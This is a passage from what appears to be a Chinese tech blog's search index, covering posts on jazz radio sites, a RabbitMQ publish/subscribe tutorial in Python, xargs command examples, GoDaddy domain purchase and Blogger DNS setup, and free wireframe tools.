去掉就可以正常下載了。\n免費的版本在播放幾首音樂之後，就會播放一小段廣告，不過我個人感覺這都不太會影響聽音樂的整體品質，畢竟廣告不長，就跟聽廣播的感覺一樣。\n名稱：JAZZRADIO.com\n網址：https://www.jazzradio.com/\nLive 365 Live 365 是一個綜合性的網路廣播網站，上面收錄了非常多的廣播頻道，各式各樣的音樂類型都有。跟一般的廣播一樣，偶爾會穿插一下廣告。\n這個網站的操作設計感覺不是那麼直覺，如果你看到自己想要收聽的頻道時，點選該頻道之後左邊的播放版面就會顯示該頻道的名稱與 logo，按下左邊播放版面中的播放按鈕之後就可以直接播放。\n在音樂播放的過程中，使用者還是可以任意瀏覽網站中其他的頻道，只要不離開 Live 365 的網站，音樂的播放都不會影響。\n在找尋廣播頻道時，可以依照熱門程度來排序，每個頻道也都有標示出收聽者的評價，所以可以很方便地找出許多優質的頻道來收聽。\n名稱：Live 365\n網址：https://www.live365.com/\nInternet Radio Internet Radio 也是一個收錄各種網路廣播電台的網站，操作介面設計很棒，簡單明瞭，各種音樂站台都有。\n如果要使用瀏覽器收聽某個頻道，就點選左邊 flash 的圖示，就會開啟播放視窗。\n除了瀏覽器之外，也可以使用其他的播放軟體來播放。\n名稱：Internet Radio\n網址：https://www.internet-radio.com/\nJAZZ And RAIN JAZZ And RAIN 是一個可以讓你一邊聽著雨聲一邊聽爵士樂的網站，因為他不是廣播的網站，所以完全不會播放廣告，你可以很放鬆的聽音樂。\n不過也因為 JAZZ And RAIN 不是一般的廣播網站，他的爵士樂的數量有限，如果你整天都在聽他的爵士樂的話，一段時間之後可能就會聽膩了。\n名稱：JAZZ And RAIN\n網址：https://www.jazzandrain.com/\nYouTube YouTube 是一個大家都知曉的影音網站，上面當然也有許多爵士樂可以聽，直接搜尋「Jazz」就可以找到很多。\n如果要在工作的時候收聽，請記得找已經製作好的 Mix 版本，例如 6 Hour Jazz Music Mix，因為這類製作好的音樂通常會比較長，音樂類型也會比較相近，可以避免聽完一首又要再選下一首的問題。\n雖然 YouTube 的爵士樂很多，不過要找到品質好而且又是自己喜歡聽的音樂畢竟不多，所以聽久了可能還是會膩。\n名稱：YouTube\n網址：https://www.youtube.com/\nSKY.FM SKY.FM 是一個收聽音樂的廣播網站，上面有各種類型的音樂（當然也包含爵士樂），不用註冊即可直接線上收聽。\n由於 SKY.FM 是一個一般性的音樂廣播網站，所以在爵士樂的選擇上就沒有 JAZZRADIO.com 那麼齊全。另外在播放音樂時，同樣也會穿插廣告。\n名稱：SKY.FM\n網址：https://www.sky.fm/\nSmooth Jazz Smooth Jazz 是一個可以收聽爵士樂廣播的網站，不過似乎只有一個頻道，沒有什麼選擇。\n點選「Global Radio Listen Here」，就可以開啟音樂播放視窗。\n名稱：Smooth Jazz\n網址：https://www.smoothjazz.com/\nSmooth Jazz（已關站） Smooth Jazz 是我自己寫的一個網站，上面蒐集了一些爵士樂，還可以配合一些環境聲音播放（例如下雨、打雷、營火、咖啡聽等），對於放鬆心情或是寫程式時很有幫助。如果聽膩了上面的音樂，還可以自己加入喜歡的 YouTube 音樂，很方便。\n名稱：Smooth Jazz\n網址：http://jazz.gtwang.org/ (已關站)\n","permalink":"https://blog.gtwang.org/funny/jazz-music-online-radio/","summary":"\u003cp\u003e這裡整理了一些可以免費線上收聽爵士樂（jazz）的網站，很適合一邊工作一邊聽。\u003c/p\u003e\n\u003cp\u003e對於一些需要長時間坐在辦公室工作的人來說，如果在工作時可以聽一些自己喜歡的音樂，應該會對工作有些幫助，至少我個人是這樣感覺，尤其是在寫程式遇到 bugs 找不到的時候，有好聽的音樂可以讓心情不致於太差。\u003c/p\u003e","title":"線上免費收聽爵士音樂（Jazz Music）的網站整理"},{"content":"這裡我們使用 RabbitMQ 來實作 publish-subscribe pattern，將訊息一次傳送給多個 consumers。\n前一個教學範例中，我們實作的工作佇列都是假設一個工作只會配送給一個 worker，現在我們要改變一下這個規則，讓一個訊息可以同時傳送給多個 consumers，而這樣的設計模式就稱為 publish/subscribe。\n在這裡我們將實作一個記錄檔系統（logging system），整個系統中包含兩個程式，一個是負責產生記錄訊息，另外一個則是負責接收與處理這些訊息。\n在這個記錄檔系統中，我們可以使用一個訊息接收程式（receiver）將接收到的訊息寫入硬碟中，另外同時再執行一個訊息接收程式將所接收到的訊息顯示在螢幕上。\n基本上在這個記錄檔系統中，所有產生出來的訊息都可以以廣播的方式送給每一個接收程式，讓每一個接收者都收到一份相同的訊息。\nExchanges 在之前的教學範例中，我們都是很簡單的將訊息送進 RabbitMQ 的佇列中，在從佇列中取得訊息，但是整個過程其實不只是這樣，這裡我們將解釋 RabbitMQ 處理訊息的模型與流程。\n以下是前面教學範例的一些重點：\nproducer：一個使用者的程式，負責發送訊息。 queue：儲存訊息用的緩衝區。 consumer：一個使用者的程式，負責發送訊息。 在 RabbitMQ 中，所有的 producer 都不會將任何訊息直接送給 queue，實際上 producer 通常也不知道哪一個訊息該送給哪一個 queue。\n在 RabbitMQ 中訊息的配送都是靠 exchange 來處理的，exchange 專門負責從 producers 接收訊息，然後將訊息配送給正確的 queues，exchange 必須清楚每一則訊息的配送規則，例如哪一些訊息要送給哪一個 queue？哪一些訊息要鬼給好幾個 queues？或是哪一些訊息應該被丟棄？而這些規則都是經由 exchange 的類型（exchange_type）來定義的。\nexchange 的類型分為：direct、topic、headers 與 fanout 這幾種，在這裡我們需要使用的類型是 fanout，首先建立一個 exchange，並命名為 logs：\nchannel.exchange_declare(exchange=\u0026#39;logs\u0026#39;, exchange_type=\u0026#39;fanout\u0026#39;) fanout 的 exchange 非常簡單，他就是很單純的把所有接收到的訊息配送給每一個 queues，而這個規則也就是我們在記錄檔系統中所需要的。\n接著就可以將訊息發佈至這個 exchange 了：\nchannel.basic_publish(exchange=\u0026#39;logs\u0026#39;, routing_key=\u0026#39;\u0026#39;, body=message) 這裡的 exchange 參數可以用來指定 exchange 的名稱。\n列出系統的 Exchanges 如果要列出系統中所有的 exchanges，可以使用 rabbitmqctl 指令：\n# 列出系統中所有的 exchanges sudo rabbitmqctl list_exchanges 輸出為\nListing exchanges for vhost / ... name\ttype direct amq.direct\tdirect amq.fanout\tfanout amq.headers\theaders amq.match\theaders amq.rabbitmq.log\ttopic amq.rabbitmq.trace\ttopic amq.topic\ttopic 輸出的 exchanges 中，有一些名稱為 amq.* 或是空字串的 exchanges，這些是 RabbitMQ 內建的，這些預設的 exchanges 在這裡並不會用到。\n沒有名稱的 Exchange 在之前的教學範例中，我們都是直接使用名稱為空字串的 exchange：\nchannel.basic_publish(exchange=\u0026#39;\u0026#39;, routing_key=\u0026#39;hello\u0026#39;, body=message) 名稱為空字串的 exchange 是一個內建的 exchange，它會直接把收到的訊息依據 routing_key 所指定的 queue 名稱來配送。\n暫時性的 Queues 在之前的範例中，因為我們需要讓 producers 與 consumers 可以共用一個佇列，將大量的工作分散處理，所以我們藉著建立具名佇列的方式，來讓 producers 與 consumers 都可以明確指定要使用的佇列（如之前的 hello 與 task_queue）。\n但是在這裡的情況跟之前的例子不同，現在我們要讓每一個訊息接收者都可以收到所有的訊息，而且我們只需要接收到最新的訊息即可，過時的訊息對我們來說其實沒有用，所以我們做了兩項改變。\n第一個部分就是讓每一個訊息接收者連接至 RabbitMQ 伺服器時，建立一個該訊息接收者專屬的新佇列，因為這個佇列是專門給這個接收者使用，所以也不需要特別指定名稱。\nresult = channel.queue_declare(queue=\u0026#39;\u0026#39;) 如果在呼叫 queue_declare() 時，將 queue 參數指定為空值，則 RabbitMQ 會自行以隨機的方式為這個佇列指定一個名稱，儲存至 result.method.queue。\n第二個部分就是在訊息接收者中斷與 RabbitMQ 伺服器的連現時，讓剛剛建立的專屬佇列也可以自動刪除，這個動作可以使用 exclusive 參數來處理：\nresult = channel.queue_declare(queue=\u0026#39;\u0026#39;, exclusive=True) 這樣一來，每一個訊息接收者在連接上 RabbitMQ 伺服器之後，就都會有一個自己的佇列，如此一來不同的接收者就不會互相干擾。\nBindings 建立好新的佇列之後，還要讓之前建立的 fanout exchange 可以將訊息配送至新建立的佇列中，建立 exchange 與佇列之間的聯結動作就稱作 binding。\nchannel.queue_bind(exchange=\u0026#39;logs\u0026#39;, queue=result.method.queue) 這樣 logs 這個 exchange 就會將訊息配送至 result.method.queue 這個剛建立好的佇列中。\n如果要查看系統中所有 binding 的狀態，可以使用\n# 查看系統中所有 binding 的狀態 rabbitmqctl list_bindings 完整的記錄檔系統 在這個例子中，producer 的程式碼跟之前的例子都差不多，只是改用 logs 這個 exchange 而已，我們將 producer 的指令稿命名為 emit_log.py：\n#!/usr/bin/env python import pika import sys connection = pika.BlockingConnection(pika.ConnectionParameters( host=\u0026#39;localhost\u0026#39;)) channel = connection.channel() channel.exchange_declare(exchange=\u0026#39;logs\u0026#39;, exchange_type=\u0026#39;fanout\u0026#39;) message = \u0026#39; \u0026#39;.join(sys.argv[1:]) or \u0026#34;info: Hello World!\u0026#34; channel.basic_publish(exchange=\u0026#39;logs\u0026#39;, routing_key=\u0026#39;\u0026#39;, body=message) print(\u0026#34; [x] Sent %r\u0026#34; % (message,)) connection.close() 這裡在使用 basic_publish() 指定使用 logs 這個 exchange 時，routing_key 雖然還是要指定，不過這個參數對於 fanout exchange 是沒有作用的。\n另外 producer 在實作上也要記得宣告 exchange，以避免使用到還沒建立好的 exchange 造成錯誤。\n在這個例子中，如果 producer 發送訊息給 exchange 的時候，還沒有任何佇列聯結上該 exchange，那麼該訊息就會被丟棄，這個狀況對於這個範例而言剛好沒有影響，因為我們只希望接收最新的訊息，舊的不用保留，所以沒有關係。\n以下是訊息接收者的程式碼，我們將其命名為 receive_logs.py：\n#!/usr/bin/env python import pika connection = pika.BlockingConnection(pika.ConnectionParameters( host=\u0026#39;localhost\u0026#39;)) channel = connection.channel() channel.exchange_declare(exchange=\u0026#39;logs\u0026#39;, exchange_type=\u0026#39;fanout\u0026#39;) result = channel.queue_declare(queue=\u0026#39;\u0026#39;, exclusive=True) queue_name = result.method.queue channel.queue_bind(exchange=\u0026#39;logs\u0026#39;, queue=queue_name) print(\u0026#39; [*] Waiting for logs. To exit press CTRL+C\u0026#39;) def callback(ch, method, properties, body): print(\u0026#34; [x] %r\u0026#34; % (body,)) channel.basic_consume(queue=queue_name, on_message_callback=callback) channel.start_consuming() 這樣就完成了，如果想要將記錄檔寫入檔案，可以執行：\npython receive_logs.py \u0026gt; logs_from_rabbit.log 如果想要從螢幕上看到及時的記錄檔訊息，可以再開一的終端機，執行：\npython receive_logs.py 最後產生記錄訊息：\npython emit_log.py 你可以使用 rabbitmqctl 指令來確認 binding 的狀態是否正確：\nsudo rabbitmqctl list_bindings 如果有兩個 receive_logs.py 在執行的情況下，輸出應該會類似這樣：\nListing bindings for vhost /... source_name\tsource_kind\tdestination_name\tdestination_kind\trouting_key\targuments exchange\tamq.gen-CbdcwKpcMCHUnD7a1H1k9A\tqueue\tamq.gen-CbdcwKpcMCHUnD7a1H1k9A\t[] exchange\tamq.gen-X0JZbY4sefzLPk_YLZY0AQ\tqueue\tamq.gen-X0JZbY4sefzLPk_YLZY0AQ\t[] exchange\ttask_queue\tqueue\ttask_queue\t[] logs\texchange\tamq.gen-CbdcwKpcMCHUnD7a1H1k9A\tqueue\tamq.gen-CbdcwKpcMCHUnD7a1H1k9A\t[] logs\texchange\tamq.gen-X0JZbY4sefzLPk_YLZY0AQ\tqueue\tamq.gen-X0JZbY4sefzLPk_YLZY0AQ\t[] 關於 rabbitmqctl list_bindings 的輸出欄位說明，可以參考 rabbitmqctl 指令的 man 線上手冊（man rabbitmqctl）。\n","permalink":"https://blog.gtwang.org/programming/rabbitmq-publish-subscribe-pattern-python/","summary":"\u003cp\u003e這裡我們使用 RabbitMQ 來實作 \u003ca href=\"http://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern\"\u003epublish-subscribe pattern\u003c/a\u003e，將訊息一次傳送給多個 consumers。\u003c/p\u003e\n\u003cp\u003e前一個\u003ca href=\"/programming/rabbitmq-work-queues-in-python/\"\u003e教學範例\u003c/a\u003e中，我們實作的工作佇列都是假設一個工作只會配送給一個 worker，現在我們要改變一下這個規則，讓一個訊息可以同時傳送給多個 consumers，而這樣的設計模式就稱為 publish/subscribe。\u003c/p\u003e","title":"以 RabbitMQ 實作 Publish/Subscribe 模型（Python 版本）"},{"content":"這裡提供 xargs 這個 Linux 指令的使用教學，並搜集一些常用的範例程式以供參考。\n在 UNIX/Linux 系統中，xargs 這個指令跟其他的指令結合之後，將會變得非常有用，這裡我們整理了一些常見的 xargs 使用範例與教學，透過這些簡單的範例可以很快的了解 xargs 的各種使用方式。\n雖然這裡的範例都很簡單，但是當你了解 xargs 的用法之後，你會發現 xargs 其實可以拿來處理各式各樣的問題，而且非常好用，尤其是對於伺服器的系統管理者而言，在管理大量的檔案與目錄結構時，有這樣的工具會方便很多。\nxargs 基本用法 xargs 這個指令會標準輸入（standard input）讀取資料，並以空白字元或換行作為分隔，將輸入的資料切割成多個字串，並將這些字串當成指定指令（預設為 /bin/echo）執行時的參數。如果直接執行\nxargs 接著在終端機中輸入\narg1 arg2 arg3 結束時按下 Ctrl + d，這時候 xargs 就會把輸入的兩行資料切割成 3 個字串（分別為 arg1、arg2 與 arg3），接著把這三個字串當作指定指令的參數，而這裡我們沒有指定任何指令，所以預設會使用 /bin/echo，直接把三個字串輸出至終端機中。\narg1 arg2 arg3 這裡雖然輸入的資料中有包含一個換行字元（\\n），不過因為 xargs 預設不會保留換行字元，所以整個輸出就變成一整行。這個效果相當於\n/bin/echo arg1 arg2 arg3 xargs 在讀取標準輸入的資料時，會自動忽略空白行，多餘的空白或是 tab 字元也會自動被忽略。\n如果要指定 xargs 所要執行的指令，可以直接將指令的名稱放在所有 xargs 的參數之後，例如\nxargs cat arg1 arg2 arg3 就相當於\ncat arg1 arg2 arg3 分隔字元 如果要指定 xargs 在讀取標準輸入時所使用的分隔字元，可以使用 -d 這個參數。例如：\nxargs -d\\n arg1 arg2 arg3 輸出為\narg1 arg2 arg3 這裡當我們使用 -d 這個參數指定分隔字元時，xargs 就會將換行字元保留下來，所以輸出會分為兩行。\n參數個數上限 預設的狀況下，xargs 會把從標準輸入的資料所分割出來的字串，一次全部都放進指定指令參數中，例如：\necho a b c d e f | xargs 就相當於\necho a b c d e f 所以輸出為\na b c d e f 如果我們不想讓所有的參數都放進一個指令中指令中執行，可以使用 -n 參數來指定每一次執行指令所使用的參數個數上限值，例如\necho a b c d e f | xargs -n 3 就相當於\necho a b c echo d e f 所以輸出就變為\na b c d e f 如果指定上限為 2：\necho a b c d e f | xargs -n 2 輸出就會變成\na b c d e f 執行前的確認 如果你對於 xargs 的使用方式不是很熟悉，或是需要以 root 權限執行一些不容出錯的指令，可以加上 -p 參數，讓指令在實際執行指令之前可以先進行確認的動作。例如：\necho a b c d e f | xargs -p -n 3 則在每一行指令執行前，都會先確認，如果要執行就輸入 y，若不執行則輸入 n，假設每一個指令我們都輸入 y 讓它執行，則整個輸出就會變成這樣：\n/bin/echo a b c ?...y /bin/echo d e f ?...a b c y d e f 這裡因為 xargs 的確認訊息與 echo 指令的輸出混在一起，所以看起來有點奇怪。\n如果所有的指令進行確認時，我們都輸入 n，這樣就不會執行任何的 echo 指令，輸出就會像這樣：\n/bin/echo a b c ?...n /bin/echo d e f ?...n /bin/echo ?...n 忽略空字串參數 大家應該有注意到上面的例子當我們使用 -p 參數時，如果所有的指令都輸入 n 跳過不執行時，最後還會出現一個沒有任何參數的 echo 指令，如果想要避免以這種空字串作為參數來執行指令，可以加上 -r 參數：\necho a b c d e f | xargs -p -n 3 -r /bin/echo a b c ?...n /bin/echo d e f ?...n 如果標準輸入為空字串時，xargs 預設還是會執行一次 echo 指令：\nxargs -p /bin/echo ?...n 這種狀況同樣可以加上 -r 參數：\nxargs -p -r 顯示執行的指令 使用 -t 參數可以讓 xargs 在執行指令之前先顯示要執行的指令，這樣可以讓使用者知道 xargs 執行了哪些指令。\nxargs -t abcd 按下 Ctrl + d 之後，xargs 就會先輸出要執行的指令內容，接著才是實際指令執行的輸出，最後得到輸出為\n/bin/echo abcd abcd 結合 xargs 與 find 指令 xargs 本身的功能並不多，但是他跟其他的 Linux 指令一起搭配使用時，功能就會顯得很強大。\n與 find 指令合在一起使用是 xargs 的一項非常重要的功能，它可以讓你找尋特定的檔案，並且進行特定的處理動作。\n假設我們有一些資料夾，其中包含各式各樣的檔案，以 tree 指令查看目錄結構會呈現\n. ├── folder1 │ ├── file1.c │ ├── file1.h │ ├── file2.c │ └── file2.h └── folder2 ├── file3.c └── file3.h 2 directories, 6 files 假設我們想要找出目前路徑之下的所有 .c 檔案，並且將其刪除，就可以使用\nfind . -name \u0026#34;*.c\u0026#34; | xargs rm -f 這裡我們將 xargs 要執行的指令指定為 rm -f，讓 find 所找到的 .c 檔案都當成 rm -f 的參數，所以其指令的效果就相當於\nrm -f ./folder2/file3.c ./folder1/file2.c ./folder1/file1.c 如果你對於指令的操作還不是很熟悉，也可以配合上面介紹的 -p 參數，在執行前確認一下\nfind . -name \u0026#34;*.c\u0026#34; | xargs -p rm -f 刪除 .c 檔案之後，以 tree 指令查看整個目錄樹就會變成\n. ├── folder1 │ ├── file1.h │ └── file2.h └── folder2 └── file3.h 2 directories, 3 files 這裡因為是示範用的例子，所以並沒有建立太多的檔案與目錄結構，在實際的應用上，當整個目錄結構很複雜、檔案又很多的時候，使用這樣的方式就會非常有效率。\n包含空白的檔案名稱 假設我們的目錄中有一些檔名包含空白字元：\ntouch \u0026#34;G T Wang.c\u0026#34; 在這種狀況下如果用上面 find 與 xargs 的方式會無法將其刪除，原因在於當我們執行\nfind . -name \u0026#34;*.c\u0026#34; | xargs rm -f 的時候，xargs 所產生的指令為\nrm -f ./G T Wang.c 因為檔名包含空白，所以這會會造成 rm 指令無法正確刪除該檔案。\n這個時候我們可以將 find 指令加上 -print0 參數，另外將 xargs 指令加上 -0 參數，改成這樣\nfind . -name \u0026#34;*.c\u0026#34; -print0 | xargs -0 rm -rf 如此一來，即可正確處理包含空白字元的檔案名稱。\n命令列長度的限制 使用 --show-limits 參數可以查看系統對於命令列長度的限制，這些限制會跟 xargs 的運作情況有關，如果要處理很大量的資料時，這些限制要注意一下。\nxargs --show-limits 輸出為\nYour environment variables take up 2022 bytes POSIX upper limit on argument length (this system): 2093082 POSIX smallest allowable upper limit on argument length (all systems): 4096 Maximum length of command we could actually use: 2091060 Size of command buffer we are actually using: 131072 Execution of xargs will continue now, and it will try to read its input and run commands; if this is not what you wanted to happen, please type the end-of-file keystroke. Warning: /bin/echo will be run at least once. If you do not want that to happen, then press the interrupt keystroke. 結合 xargs 與 grep 指令 xargs 與 grep 兩個指令的合併也是一個很常見的使用方式，它可以讓你找尋特定檔案之後，進而搜尋檔案的內容。\n假設我們要在所有的 .c 檔案中搜尋 stdlib.h 這個字串，就可以使用\nfind . -name \u0026#39;*.c\u0026#39; | xargs grep \u0026#39;stdlib.h\u0026#39; 我直接拿 VTK 的原始碼來測試，輸出會像這樣\n./CMake/TestOggTheoraSubsampling.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/lex.yy.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkWrapPythonInit.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkWrapTcl.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkWrapTclInit.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkParsePreprocess.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkWrapText.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkParseData.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkParseHierarchy.c:#include \u0026lt;stdlib.h\u0026gt; ./Wrapping/Tools/vtkParseMain.c:#include \u0026lt;stdlib.h\u0026gt; [略] 這個對於程式設計師在看一堆專案原始碼的時候特別有用。\n參考資料 The Geek Stuff ","permalink":"https://blog.gtwang.org/linux/xargs-command-examples-in-linux-unix/","summary":"\u003cp\u003e這裡提供 \u003ccode\u003exargs\u003c/code\u003e 這個 Linux 指令的使用教學，並搜集一些常用的範例程式以供參考。\u003c/p\u003e\n\u003cp\u003e在 UNIX/Linux 系統中，\u003ccode\u003exargs\u003c/code\u003e 這個指令跟其他的指令結合之後，將會變得非常有用，這裡我們整理了一些常見的 \u003ccode\u003exargs\u003c/code\u003e 使用範例與教學，透過這些簡單的範例可以很快的了解 \u003ccode\u003exargs\u003c/code\u003e 的各種使用方式。\u003c/p\u003e","title":"Linux 系統 xargs 指令範例與教學"},{"content":"這裡介紹如何在 GoDaddy 網站上申請與購買網域名稱（Domain Name），並介紹優惠碼的取得與使用方式。\n如果你想要架設一個較正式的網站或部落格，通常申請一個比較正式的網址會比較好，如果有一個簡短、具有代表性的網址，可以讓使用者更容易記住，而且可以創造自己的品牌。\n台灣也有許多提供網域註冊服務的單位，像 hinet 的網域註冊服務就是一個，不過價格很貴（一年 800 元、二年 1600 元、三年 2160 元、五年 3400 元、十年 6400 元），PChome 的價格也是一樣，網路上也有其他國內的公司有提供這樣的服務，不過價格都不是很理想，如果想知道各家的價格，可以上網搜尋「網域 申請」。\nGoDaddy 是一個著名的網域註冊公司，而且它的價格比起許多台灣的公司還要便宜，而且他所提供的服務也很穩定，是一家老牌子的公司，以下是在 GoDaddy 上面購買網域的教學，我自己的 gtwang.org 網域就是在這裡買的。\n如果要使用 GoDaddy 申請網域，建議先去他的網站註冊成為會員，以方便之後購買的程序與管理網站。\nStep 1\n開啓 GoDaddy 的網頁，首先要搜尋一下自己想要申請的網域名稱是否可以使用（檢查是否已經被別人申請了）。輸入自己想要的往域名稱後，按下「Search Domain」。\nStep 2\n如果你想要的網域名稱沒有人使用，就會出現綠色的「this domain is available」訊息，這樣就表示這個名稱可以使用，接著下面有很多購買的方案，如果你想要一次買好幾的名稱，會有一些折扣。選擇自己要的方案，按下對應的「+ Select」按鈕。\n這裡我們選擇只買 gtwang.org 這個網域名稱（NT$409），最後按下「Continue to Cart」繼續。\nStep 3\n這裡是一堆附加方案，我個人是感覺不需要，直接按下「Continue to Cart」。\nStep 4\n這裡會列出購買的方案與總價，Term 的部分可以選擇要購買幾年，請依照自己的需求選擇，這裡我們選擇 5 年。\nStep 5\n然後這裡是重點！把網頁往下拉，下方有一個「Have a Promo Code?」，點下去可以輸入優惠碼，獲得更優惠的價格。\n優惠碼可以在独特优惠码取得。\nStep 6\n輸入完優惠碼之後，你會發現價格馬上降低很多！\nStep 7\n在尋找優惠碼的時候，請認真比較一下，每張優惠卷所計算出來的價格都不一樣，如果看不太懂就直接貼上來看價格。像我一開始找到一張感覺不錯的，算出來的價格是 NT$1424，結果後來又看到一張更便宜的，最後拿到的價格是 NT$1358，這種價格如果上 hinet 買，連兩年都不到，這裡可以一次買五年！\n找到最優惠的價格之後，按下「Proceed to Checkout」。\nStep 8\n這裡如果你已經是註冊會員的，就登入自己的帳號與密碼，如果不是會員，就要先選擇 New Customers 的「Continue」。這裡我們示範已註冊會員的狀況，基本上沒有註冊的狀況只是要多填一些基本資料而已。\nStep 9\n以自己的帳號登入之後，就會顯示自己的資料，這裡檢查一下賬單的地址是否需要更改，然後在下方輸入付款的資訊。最後按下「Place Your Order」購買。這一步是實際付款購買的步驟，所以請檢查清楚。\nStep 10\n購買完成畫面。\nStep 11\n這時候到 GoDaddy 的 Domains 管理畫面就會看到自己剛剛買的網域名稱了，不過這時候 Status 顯示「Pending Whois Verification」，要先經過 Email 認證，才能開始使用。\nStep 12\n這時候在你的 Email 信箱應該會收到這樣的認證信，點一下「Verify your email address」即可進行認證。\nStep 13\n認證完成後，網域的 Status 就會變成 Active，這樣就表示這個網域已經可以開始使用了。\n","permalink":"https://blog.gtwang.org/web-development/godaddy-buy-domain-name/","summary":"\u003cp\u003e這裡介紹如何在 GoDaddy 網站上申請與購買網域名稱（Domain Name），並介紹優惠碼的取得與使用方式。\u003c/p\u003e\n\u003cp\u003e如果你想要架設一個較正式的網站或部落格，通常申請一個比較正式的網址會比較好，如果有一個簡短、具有代表性的網址，可以讓使用者更容易記住，而且可以創造自己的品牌。\u003c/p\u003e","title":"GoDaddy 申請購買網域名稱（Domain Name）教學"},{"content":"這裡介紹如何自己設定 Google Blogger 部落格的網域名稱，讓部落格使用自己的網址。\n如果是使用一般性的部落格架站，通常網站都會掛在這些部落格的網域底下，例如 Blogger 就會是 *.blogspot.com，原本的網址就已經不短了，加上自己的部落格名稱之後，整個網址就顯得非常長，對於一般的使用者來說要記那麼長的網址實在不容易。\n如果要讓自己的部落格可以有一個比較簡短、好記、又具有意義的網址，可以先去購買一個自己的網域名稱，然後再拿來給 Blogger 部落格使用。\n以下是 Blogger 自定網域名稱的設定步驟，這裡我們以 Godaddy 這家網域公司當作範例，基本上各家的概念都是一樣的，只是操作介面的差異而已。\nStep 1\n首先在 Blogger 的管理界面中，選擇「設定」-\u0026gt;「基本」，然後選擇「新增自定網域」。\nStep 2\n輸入好自己的網域之後，按下儲存，假設你已經申請了一個 gtwang.org 這個網域，那你就可以使用這個網域下面的任何主機名稱，像 www.gtwang.org 或 blog.gtwang.org 都可以，這裡我們輸入 www.gtwang.org，然後按下儲存。\nStep 3\n按下儲存之後，會出現錯誤的訊息，這是正常的，因為我們還沒有將認證用的 CNAME 加入 DNS 記錄中，這裡 Blogger 提供兩行 CNAME 的記錄，等一下我們要將這兩筆記錄加到我們的 DNS 中。\nStep 4\n打開 Godaddy 的 Domains 管理界面，選擇對應的 Domain Name，開啟選單之後，選擇「Manage DNS」。\nStep 5\n選擇「Add Record」。\nStep 6\n新增剛剛 Blogger 所提供的第二筆 CNAME 記錄，這一筆是用來認證用的。\nStep 7\n檢查一下 CNAME 記錄是否有新增上去。然後編輯預設的 www 那筆 CNAME 記錄。\nStep 8\n依照 Blogger 所提供的記錄來修改，也就是讓 www 指到 ghs.google.com。\nStep 9\n檢查一下是否正確。這時候所有的變更還沒有儲存，請點一下上面紅色的「Save Changes」。\n這裡有許多 Godaddy 預設的 CNAME 記錄，其實如果沒用的話，都可以刪掉。\nStep 10\n儲存完成，bar 變成藍色了。\nStep 11\n再回到 Blogger 中，按下儲存之後，錯誤訊息應該就會消失了。\n接著我們要設定讓 gtwang.org 這樣簡短的網址可以自動導向到 www.gtwang.org，按一下網誌網址右邊的編輯。\nStep 12\n將重新導向功能打勾，然後儲存。\nStep 13\n在 Godaddy 中，加上四筆 A 記錄：\n216.239.32.21 216.239.34.21 216.239.36.21 216.239.38.21 加入之後會像這樣：\n這樣就完成了！現在不管使用者輸入 www.gtwang.org 或是 gtwang.org，都可以連到我們的部落格了。\n通常設定完成之後，等待 DNS 設定生效會需要一小段時間，所以如果設定正確網頁卻打不開，可以稍等一下再試試看。\n","permalink":"https://blog.gtwang.org/web-development/blogger-custom-domain-godaddy-dns-cname/","summary":"\u003cp\u003e這裡介紹如何自己設定 Google Blogger 部落格的網域名稱，讓部落格使用自己的網址。\u003c/p\u003e\n\u003cp\u003e如果是使用一般性的部落格架站，通常網站都會掛在這些部落格的網域底下，例如 Blogger 就會是 \u003ccode\u003e*.blogspot.com\u003c/code\u003e，原本的網址就已經不短了，加上自己的部落格名稱之後，整個網址就顯得非常長，對於一般的使用者來說要記那麼長的網址實在不容易。\u003c/p\u003e","title":"Blogger 部落格自定網域名稱（Domain Name）與網址教學（使用 Godaddy）"},{"content":"這裡整理了許多繪製 wireframe 與 diagram 設計圖的免費工具與資源，包含線上畫圖的工具與各種設計用的素材。\nCacoo Cacoo 是一個需要註冊的線上繪製 wireframe 服務，註冊之後就可以直接在瀏覽器上畫圖，它的功能很多，除了 wireframe 之外，還可以畫各種的 diagram。免費版的使用者只能以 png 檔的方式下載畫好的圖檔，如果要下載向量圖，就要升級成付費版的會員。\n名稱：Cacoo\n網址：https://cacoo.com/lang/zh_tw/\nPencil Pencil 是一個開放原始碼的原型（prototype）設計工具，適用於各種作業系統，。\n名稱：Pencil\n網址：https://pencil.evolus.vn/\nLucid Chart Lucid Chart 是一個線上繪製原型或 diagram 的工具，它的免費版的功能不多，只有一些簡單的圖形可以使用，不過他可以直接讓使用者下載向量圖檔，例如 pdf 檔。\n名稱：Lucid Chart\n網址：https://www.lucidchart.com/\nGliffy Gliffy 是一個免費的線上服務，註冊後就可以畫一些 diagram 或是 wireframe 圖，可以直接下載 svg 向量圖檔或是 jpg 與 png 檔。\n名稱：Gliff\n網址：https://www.gliffy.com/\nMockFlow MockFlow 是一個線上繪製 wireframe 的工具，註冊後即可使用，免費版提供基本的繪圖工具。\n名稱：MockFlow\n網址：https://mockflow.com/\nframe box frame box 是一個不用註冊的線上工具，可以畫簡單的 wireframe 圖，並且線上分享，不過操作界面不是很完善，也無法下載圖檔。\n名稱：frame box\n網址：http://framebox.org/\nwireframe.cc wireframe.cc 是一個不用註冊、簡潔有力的 wireframe 線上設計工具，畫好的圖可以儲存 wireframe.cc 的伺服器上透過網路分享，不過無法下載圖檔。\n名稱：wireframe.**\n網址：https://wireframe.cc/\nSqetch Sqetch 是一個繪製 wireframe 用的素材套件，可以直接下載回去使用，檔案格式為 ai 檔。\n名稱：Sqetch\n網址：https://eleqtriq.com/2010/08/sqetch-wireframe-toolkit/\n由於這類的工具實在太多了，如果你還想知道更多的工具，可以參考 smashing apps 與 [Mashable][23] 的介紹，或是上 Google 搜尋。至於素材可以參考 speckyboy。\n","permalink":"https://blog.gtwang.org/useful-tools/free-wireframe-tool/","summary":"\u003cp\u003e這裡整理了許多繪製 wireframe 與 diagram 設計圖的免費工具與資源，包含線上畫圖的工具與各種設計用的素材。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins 